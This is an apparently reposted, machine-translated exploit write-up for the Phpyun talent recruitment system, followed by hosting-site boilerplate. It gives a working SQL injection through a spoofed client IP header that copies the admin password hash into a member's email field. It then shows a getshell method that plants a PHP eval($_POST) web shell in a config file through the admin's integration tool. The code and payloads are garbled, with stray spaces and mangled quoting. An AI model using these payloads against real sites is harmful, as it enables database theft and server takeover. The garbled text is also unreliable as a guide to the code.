Phpyun Talent System injection + background getshell

Source: Internet
Author: User

/Model/class/action. class. php row 603 function fun_ip_get () {if (getenv ("HTTP_CLIENT_IP") & strcasecmp (getenv ("HTTP_CLIENT_IP"), "unknown ")) {$ ip = getenv ("HTTP_CLIENT_IP");} else if (getenv ("HTTP_X_FORWARDED_FOR") & strcasecmp (getenv ("HTTP_X_FORWARDED_FOR"), "unknown ")) {$ ip = getenv ("HTTP_X_FORWARDED_FOR");} else if (getenv ("REMOTE_ADDR") & strcasecmp (getenv ("REMOTE_ADDR"), "unknown") {$ ip = Getenv ("REMOTE_ADDR");} else if (isset ($ _ SERVER ['remote _ ADDR ']) & $ _ SERVER ['remote _ ADDR '] & strcasecmp ($ _ SERVER ['remote _ ADDR'], "unknown ")) {$ ip = $ _ SERVER ['remote _ ADDR '];} else {$ ip = "unknown";} return ($ ip);} exp: register an individual member. then, counterfeit the ip id during login. After the First Login is packet capture, you can view the email and manage the 32-bit md5127.1 ′, 'email '= (select password from phpyun_admin_user where username = 'admin') where 'uid' = 1 # uid can be captured during logon. backend getshell funct Ion save_action () {extract ($ _ POST); $ config = "<? Php "; $ uc_config = str_replace (" '","' ", $ uc_config); $ uc_config = str_replace (" ",", $ uc_config ); $ uc_config = str_replace ("\ '", ", $ uc_config); $ uc_config = str_replace (" \' ",", $ uc_config ); $ uc_config = str_replace ("\ '", ", $ uc_config); $ uc_config = str_replace ("' ",", $ uc_config ); $ uc_config = str_replace ("'", ", $ uc_config); $ uc_config = str_replace (" \ "", ", $ uc_config); $ config. = $ uc_config; $ path = APP_PATH. "/api/pw_api/pw_config.php"; $ fp = @ fopen ($ path, "w"); fwrite ($ fp, $ config); fclose ($ fp ); filter a lot. however, we have no choice but to enter the background-> website tools-> integrate pw to insert eval ($ _ POST [DisKill]) at the end; Enable pw with one sentence address: http://www.bkjia.com /Api/pw_api/pw_config.php

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.